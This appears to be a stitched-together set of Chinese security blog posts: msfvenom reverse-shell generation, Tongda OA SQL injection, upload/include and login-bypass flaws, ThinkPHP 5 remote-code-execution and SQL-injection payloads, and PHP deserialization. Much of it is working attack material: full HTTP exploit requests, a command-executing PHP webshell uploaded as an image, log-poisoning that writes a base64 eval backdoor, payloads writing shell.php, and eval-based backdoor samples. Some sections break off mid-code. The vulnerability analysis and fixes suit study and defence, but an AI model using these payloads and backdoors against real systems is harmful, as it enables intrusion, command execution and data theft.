这是一篇关于msfvenom文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文创建时间为2020年6月4日,最近一次更新时间为2020年9月15日。本文会不定期更新。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。
关于什么是msfvenom?更多详细内容见 msfvenom官网和如何使用。
msfvenom一般需要配合msf进行利用。使用msfvenom生成shellcode,使用msf进行监听,在靶机上运行shellcode。msfvenom几乎支持生成各种平台的shellcode。是后渗透测试过程中强大的武器之一。
msfvenom是msfpayload和msfencode的组合,安装msf之后便可使用。
一键安装msf
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && ./msfinstall
更新msf
sudo msfupdate
例:
msfvenom -a 系统架构 –platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp lhost=111.231.228.112 lport=6059 -i 3 -e x86/shikata_ga_nai -f exe -o x86reverse_tcp.exe
MSF监听器
sessions操作
靶机无公网ip
靶机有公网ip
靶机无公网ip
靶机有公网ip
这是一篇关于通达OA存在SQL注入漏洞的分析文章。由于作者能力有限,文中难免会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。
关于通达OA的更多信息,请查看通达OA官网。
这个漏洞是4月份的时候提交给厂商的,之后通达OA更新到了11.5版本,但是发现11.5版本并未修复此漏洞。直到2020-05-08日更新到11.6版的时候才修复此漏洞。为什么11.5版本未修复?大概是是因为4月中旬的时候出现了通达OA任意账号登录漏洞,厂商便紧急发布了任意账号登录漏洞的补丁包。
通过此也说明了这个SQL注入漏洞技术含量影响性较低。但既然漏洞已修复,便把其中的一些细节公布出来吧。低版本通达OA不止一处SQL注入,这篇文章暂时只发布其中的一处注入点。
先上payload。测试发现其他的参数keyword、min_people、max_people存在SQL注入漏洞。需要特别说明的是,本漏洞不需要管理员账号,普通用户可以登录系统即可。
POST /general/appbuilder/web/meeting/meetingapply/getmeetingapplyinfo HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Content-Length: 183
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: USER_NAME_COOKIE=lina; SID_1=3b9b2a17; SID_12=6114b1ec; SID_65=dba4163e; PHPSESSID=e62i1gqidh35cb4pfbn3eatn84; OA_USER_ID=65; creat_work=new
Origin: http://192.168.220.129
Referer: http://192.168.220.129/general/meeting/myapply/applyMeeting/select1.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
date=2020-04-01&end_time=&equipment_ids=&keyword=*&max_people=&min_people=&start_time=
\general\appbuilder\modules\meeting\models\Meeting.php:1324行。此处的$data[“keyword”]未处理便赋值给$keyword。
$pageSize = modules\meeting\models\intval($data["pageSize"]);
$type = $data["type"];
$keyword = $data["keyword"];
if ($keyword != "") {
$key_where = array("like", "M_NAME", "$keyword");
}
\general\appbuilder\modules\meeting\models\Meeting.php:4313行。此处的keyword直接拼接到了SQL语句中,导致了漏洞的触发。
$where = " 1=1";
if (isset($mr_id) && !empty($mr_id)) {
$where .= " and MR_ID = '$mr_id'";
}
if (isset($keyword) && !empty($keyword)) {
$where .= " and MR_NAME like '%" . $keyword . "%'";
}
if (isset($min_people) && !empty($min_people)) {
$where .= " and MR_CAPACITY >= $min_people";
}
if (isset($max_people) && !empty($max_people)) {
$where .= " and MR_CAPACITY <= $max_people";
}
$sql1 = "SELECT * from Meeting_room where (TO_ID='ALL_DEPT' or find_in_set('$login_dept_id',TO_ID) or find_in_set('$login_user_id',SECRET_TO_ID) or find_in_set('$login_priv_id',PRIV_ID)) and USE_FLAG = '1' and" . $where;
$cur = self::getDb()->createCommand($sql1)->queryAll();
修复方式也很简单。只需要进行如下的替换即可:
$keyword = $data["keyword"];
替换为:
$keyword = modules\meeting\models\intval($data["keyword"]);
测试发现,11.6版本也确实是这样修复的。
这是一篇关于通达OA文件上传和文件包含漏洞分析文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。
关于通达OA的更多信息,请查看通达OA官网。
在2020年3月初的时候,有安全厂商发布公告称通达OA被入侵后被黑产利用。今日再来分析此漏洞的时候发现,其实和文件上传没关系,也根本不是任意文件上传漏洞。而是一个思路很好的文件包含漏洞。漏洞的触发条件是在无需登录的条件下上传一个jpg等其他图片格或其他文件格式的非PHP格式的文件即可,然后再利用文件包含漏洞去包含导致漏洞触发。漏洞问题的触发点在于文件包含。除了剪切图片操作之外,很难保证上传图片的内容安全。
影响版本:V11版、2017版、2016版、2015版、2013增强版、2013版(具体未实际测试)
1.文件上传的数据包:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Content-Length: 658
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
2.文件包含数据包:
POST /mac/gateway.php HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
json={"url":"/general/../../attach/im/2006/2097931002.zip"}&cmd=whoami
/ispirit/im/upload.php:5-13行。5行进行判断,变量P存在并不为空的话则执行6-10行代码。如果变量P不存在,或者是等于空的话。则执行else语句,包含auth.php。
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
ispirit\im\auth.php。查看auth.php代码,发现此文件作用为校验用户是否登录。所以如果P存在,并且不为空的话即可在非登录状态下进行上传。
include_once "inc/session.php";
session_start();
session_write_close();
include_once "inc/conn.php";
include_once "inc/utility.php";
ob_start();
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
sleep(1);
if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
echo "-ERR " . _("用户未登陆");
exit();
/mac/gateway.php:41行。对url进行了包含处理。
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
include_once $url;
}
思考:其实这个地方除了可以通过文件上传之后进行包含之外,也可以通过包含其他文件进行利用,比如包含日志文件:
poc1:
GET /mac/gateway.php?json={}&aa=<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?> HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: USER_NAME_COOKIE=admin; SID_1=b51a8646; PHPSESSID=olai0tkt0oqhcblhha71f42q21; OA_USER_ID=admin
Upgrade-Insecure-Requests: 1
poc2:
POST /mac/gateway.php HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
json={"url":"../ispirit/../../nginx/logs/oa.access.log"}
执行完poc1和poc2之后,便会在mac目录下生成lost.php。
这是一篇关于通达OA越权登录漏洞的分析文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。
关于通达OA的更多信息,请查看通达OA官网。
2020年4月中旬的时候,通达OA发布了11.5新版本。国内安全研究人员通过代码比对,发现了此漏洞。此漏洞可以越权登录任意用户账号,影响极大。
漏洞成因是由于前台登陆时未作权限验证,程序开启全局覆盖,可以直接覆盖 _SESSION 里的数据造成任意用户登陆。 服务端只取了UID来做用户身份鉴别,由于UID是整型递增ID,从而导致可以登录指定UID用户。
先上payload。
11.4版poc1:
GET /general/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
GET /ispirit/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
11.4版poc2:
POST /logincheck_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
CODEUID=%7BF1643A67-D96F-BB39-E350-AED1A70E5FB9%7D&UID=1
2017版poc1:
GET /ispirit/login_code.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
2017版poc2:
POST //general/login_code_scan.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
codeuid=%7B000EB6B8-3595-474D-F673-6BD8B187388D%7D&uid=1&source=pc&type=confirm&username=admin
2017版poc3:
GET //ispirit/login_code_check.php?codeuid=%7B000EB6B8-3595-474D-F673-6BD8B187388D%7D HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
/logincheck_code.php:11-18行。UID通过post传参。如果CODEUID存在,则不会exit。
$redis = TRedis::redis();
$UID = intval($_POST["UID"]);
$CODEUID = $_POST["CODEUID"];
$login_codeuid = TD::get_cache("CODE_LOGIN" . $CODEUID);
if (!isset($login_codeuid) || empty($login_codeuid)) {
$databack = array("status" => 0, "msg" => _("参数错误!"), "url" => "general/index.php?isIE=0");
echo json_encode(td_iconv($databack, MYOA_CHARSET, "utf-8"));
exit();
/logincheck_code.php:180行。UID用户可控。CODEUID用户可控。
$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
$LOGIN_BYNAME = $BYNAME;
$LOGIN_USER_NAME = $USERNAME;
$LOGIN_ANOTHER = "0";
$LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER;
$LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER);
$LOGIN_CLIENT = 0;
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
/logincheck_code.php:164行。通过UID的值去数据库里面去取值,
$UID -> $query1 -> $cursor1 -> $row
$LOGIN_FUNC_STR = "";
$query1 = "select user_func_id_str from user_function where uid='$UID'";
$cursor1 = exequery(TD::conn(), $query1);
if ($row = mysql_fetch_array($cursor1)) {
$LOGIN_FUNC_STR = $row["user_
不要通过用户可控的UID作为权限校验的方法。
这是一篇关于ThinkPHP漏洞分析的文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文创建时间为2020年5月21日,最近一次更新时间为2021年5月21日。本文会不定期更新。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。本文未完成。待更新。
关于ThinkPHP是什么?更多详细内容见下面链接: ThinkPHP官网ThinkPHP3.2.3完全开发手册 ThinkPHP5.0完全开发手册 ThinkPHP5.1完全开发手册 ThinkPHP6.0完全开发手册 看云PHP相关手册
- ThinkPHP源码下载
- 应用项目:https://github.com/top-think/think/releases
- 核心框架:https://github.com/top-think/framework/releases
ThinkPHP是国内开发的优秀的PHP框架,存在大量基于其的CMS。
源码直接安装
curl -sS https://getcomposer.org/installer php - mv composer.phar /usr/local/bin/composer
- apt install apache2
- apt install php
- cd /var/www/html
- composer create-project topthink/think tp5
漏洞复现环境
在ThinkPHP有着很好的过滤器,基本上90%的情况是不存在XSS/CSRF等脚本漏洞的。
ThinkPHP5.0目录结构
project 应用部署目录 ├─application 应用目录(可设置) │ ├─common 公共模块目录(可更改) │ ├─index 模块目录(可更改) │ │ ├─config.php 模块配置文件 │ │ ├─common.php 模块函数文件 │ │ ├─controller 控制器目录 │ │ ├─model 模型目录 │ │ ├─view 视图目录 │ │ └─ ... 更多类库目录 │ ├─command.php 命令行工具配置文件 │ ├─common.php 应用公共(函数)文件 │ ├─config.php 应用(公共)配置文件 │ ├─database.php 数据库配置文件 │ ├─tags.php 应用行为扩展定义文件 │ └─route.php 路由配置文件 ├─extend 扩展类库目录(可定义) ├─public WEB 部署目录(对外访问目录) │ ├─static 静态资源存放目录(css,js,image) │ ├─index.php 应用入口文件 │ ├─router.php 快速测试文件 │ └─.htaccess 用于 apache 的重写 ├─runtime 应用的运行时目录(可写,可设置) ├─vendor 第三方类库目录(Composer) ├─thinkphp 框架系统目录 │ ├─lang 语言包目录 │ ├─library 框架核心类库目录 │ │ ├─think Think 类库包目录 │ │ └─traits 系统 Traits 目录 │ ├─tpl 系统模板目录 │ ├─.htaccess 用于 apache 的重写 │ ├─.travis.yml CI 定义文件 │ ├─base.php 基础定义文件 │ ├─composer.json composer 定义文件 │ ├─console.php 控制台入口文件 │ ├─convention.php 惯例配置文件 │ ├─helper.php 助手函数文件(可选) │ ├─LICENSE.txt 授权说明文件 │ ├─phpunit.xml 单元测试配置文件 │ ├─README.md README 文件 │ └─start.php 框架引导文件 ├─build.php 自动生成定义文件(参考) ├─composer.json composer 定义文件 ├─LICENSE.txt 授权说明文件 ├─README.md README 文件 ├─think 命令行入口文件
ThinkPHP架构
MVC是一个设计模式,它强制性的使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心部件:模型(M)、视图(V)、控制器(C),它们各自处理自己的任务。
影响版本:5.0.0-5.0.12 payload:
POST /5012/public/index.php
_method=__construct&method=*&filter[]=system&s=dir
官方公告:https://www.thinkphp.cn/topic/60992.html 漏洞概述:ThinkPHP5.0在核心代码中实现了表单请求类型伪装的功能,该功能利用$_POST[‘_method’]变量来传递真实的请求方法,当攻击者设置$_POST[‘_method’]=__construct时,Request类的method方法便会将该类的变量进行覆盖,攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
代码分析:5.0.12
_method=construct:在ThinkPHP中可以使用该变量进行请求类型的伪装。通过该请求可以隐藏真实请求信息,也可以整合现有应用系统。POST请求参数 “ _method=construct ”,将 construct 传给了var_method ,在Request类的method函数中执行后,实现了对Request类的 construct 构造函数的调用;并且将完整的POST参数传给了构造函数。
// 可以设置的请求类型:GET、POST、PUT和DELETE等一系列合法类型。
<form method="post" action="">
<input type="text" name="name" value="Hello">
// 伪装请求类型为PUT
<input type="hidden" name="_method" value="PUT" >
<input type="submit" value="提交">
</form>
// 伪装请求变量的名字在应用配置文件设置,如下
// 表单请求类型伪装变量(默认为_method)
'var_method' => '_method', //application/config.php
method=*&filter[]=system:跟踪Request.php模块中的 __construct函数。该函数中循环取出参数,如果是本类中存在的参数,就取用户传入的值为其赋值。 _method=construct 使得 method 函数调用了 construct 构造函数, 并且将完整的POST参数传递过去。实现了对本类中的 $method和$filter两个全局变量的覆盖。
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
s=dir:application/config.php 中定义PATHINFO变量名为’ s ’。可用s传入需要执行的命令,如s=dir
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
影响版本:5.0.21-5.0.23
漏洞概述:
payload:
POST /public/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
代码分析:
影响版本:5.0-5.0.22、5.1-5.1.30
漏洞概述:Thinkphp5.0和5.1中没有对路由中的控制器名进行严格过滤,当存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,导致远程代码执行。
官方公告:https://blog.thinkphp.cn/869075
Payload:
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET[“code”])?^»shell.php
invokefunction是什么?
代码分析:5.0.22
Diff 5.0.22和5.0.23代码
5.0.22#App.php:552
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
5.0.23#App.php:552-559
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
$controller = $convert ? strtolower($controller) : $controller;
发现对$controller控制器名称进行了过滤。
从public/index.php跟踪代码
require __DIR__ . '/../thinkphp/start.php';
//thinkphp\start.php
// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
跟踪入口文件App::run()
//thinkphp/library/think/App.php:114行
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
跟踪app::routeCheck。通过request::path取参数。
//thinkphp\library\think\App.php:617
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
跟踪request::path。这里通过几种方式去解析路径,可以利用兼容模式传入s参数,去传递一个带反斜杠的路径(eg:\think\app),如果使用phpinfo模式去传参,传入的反斜杠会被替换为’'。
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
/**
* 获取当前请求URL的pathinfo信息(不含URL后缀)
* @access public
* @return string
*/
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
继续分析app::routeCheck。路由检测时失败,如果开启了强制路由检查会抛出RouteNotFoundException,但默认这个强制路由是不开启的,也就是官方指的没有开启强制路由可能getshell。
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();}
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);}
跟踪:Route::parseUrl。这里拆分模块/控制器/操作,传入的url受用户控制,处理后分割成一个module数组返回。之后交给app::module处理:
ThinkPHP在历史上爆发出很多的SQL注入漏洞,本部分将详细的对其进行具体分析。
影响版本:5.0.13-5.0.15、5.1.0-5.1.5
payload:
index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
代码分析:5.0.15
https://www.jianshu.com/p/18d06277161e
参考 https://github.com/Mochazz/ThinkPHP-Vuln/
影响版本:5.1.16-5.1.22
payload:
index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 代码分析:5.1.22
影响版本:5.1.6-5.1.7
payload:
/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
代码分析:5.1.7
影响版本:ThinkPHP5全版本
payload:
/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
代码分析:5.0.10
影响版本:5.0.0-5.0.21、5.1.3-5.1.25
payload:5.0.0-5.0.21 、5.1.3-5.1.10
/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
payload:5.1.11-5.1.25
/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6.md
https://github.com/Mochazz/ThinkPHP-Vuln
https://github.com/Dido1960/thinkphp
https://github.com/Mochazz/ThinkPHP-Vuln
影响版本:5.1.37
这是一篇关于PHP反序列化漏洞的文章。由于作者能力有限,文中难免会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年5月23日。本文未完成。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。
序列化是将对象转换为容易传输的格式的过程,一般情况下转化为流文件,放入内存或者IO文件中。例如,可以序列化一个对象,然后使用 HTTP 通过 Internet 在客户端和服务器之间传输该对象,或者和其它应用程序共享使用。
序列化是将对象中的变量转换成字符串的过程。
函数:serialize()
序列化之后各个字符的意义:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:5:"lemon";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
目的意义
为什么要进行序列化?在程序执行完成后,内存数据会立即销毁。变量所储存的数据便是内存数据,会删除所有变量(Static静态变量执行完成之后不会删除,会存储最后一次被调用所包含的信息)。PHP序列化就是将内存的变量数据以字符串的形式保存到文件中的持久数据的过程。
反序列化是将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程。
在PHP中,魔术方法也称之为魔法函数,以双下划线开头,会在特定的情况下被调用。在面向对象的编程思想中起着至关重要的作用。详细内容参考PHP官网魔术方法
__construct()
实例化对象时被调用,当construct和以类名为函数名的函数同时存在时construct将被调用,另一个不被调用。作用:初始化类的成员变量。
__destruct()
当删除一个对象或对象操作终止时被调用。作用:释放对象占用的资源。
__call(string $name, array $arguments)
对象调用某个方法,若方法可访问,则直接调用;若方法不可访问,则会去调用__call函数。
__get()
读取一个对象的属性时, 若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
__set()
设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数。
__toString()
打印一个对象的时被调用。 如echo $obj;或print $obj;
__clone()
克隆对象时被调用。如:$t=new Test();$t1=clone $t;
__sleep()
serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。
__wakeup()
unserialize时被调用,做些对象的初始化工作。
__isset()
检测一个对象的属性是否存在时被调用。如:isset($c->name)。
__unset()
unset一个对象的属性时被调用。如:unset($c->name)。
__set_state()
类的实例被var_export时,该方法会被调用。用__set_state的返回值做为var_export的返回值。
__autoload()
实例化一个对象时,如果对应的类不存在,则该方法被调用。
__debugInfo()
类的实例被var_dump时,该方法会被调用(PHP 5.6.0才有)
__invoke()
把类的实例当成函数一样调用时,该方法会被调用。
面向属性编程(Property-Oriented Programing) 用于上层语言构造特定调用链的方法,从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后使用调用链执行一些操作。
PHPGGC是一款自动生成PHP反序列化Payload的工具。
地址:https://github.com/ambionics/phpggc
类似项目:https://github.com/s-n-t/phpggc
./phpggc ThinkPHP/RCE1 system “whoami”
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化
代码版本:1.0.14.5.26.-beta
代码分析:
在wecenter中所使用到了
代码分析:
https://github.com/SZFsir/laravel_POP_RCE
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
这也是另外的一个例子。通过反序列化可以做一些比较有趣的后门。
<?php
class evals{
protected $links;
function __construct($an){
$this->links = $an;
eval("\$title=1;".$this->links);
}
}
$a = new evals(@$_POST['An']);
?>